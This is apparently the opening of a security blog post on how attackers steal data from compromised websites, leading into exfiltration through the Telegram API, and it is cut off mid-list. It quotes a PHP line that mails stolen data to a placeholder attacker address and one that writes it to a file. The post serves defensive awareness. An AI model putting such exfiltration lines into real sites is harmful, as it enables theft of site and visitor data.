Server Side Data Exfiltration via Telegram API

One of the themes commonly highlighted on this blog includes the many creative methods and techniques attackers employ to steal data from compromised websites. Credit card skimmers, credential and password hijackers, SQL injections, and even malware on the server level can be used for data exfiltration. What’s more, attackers may be able to accomplish this feat with a few mere lines of code. For example: Emailing the data: @mail("email@attacker.com", $_SERVER["SERVER_NAME"], $stolenData); Writing the data to a local file: fwrite($fh, $stolenData);...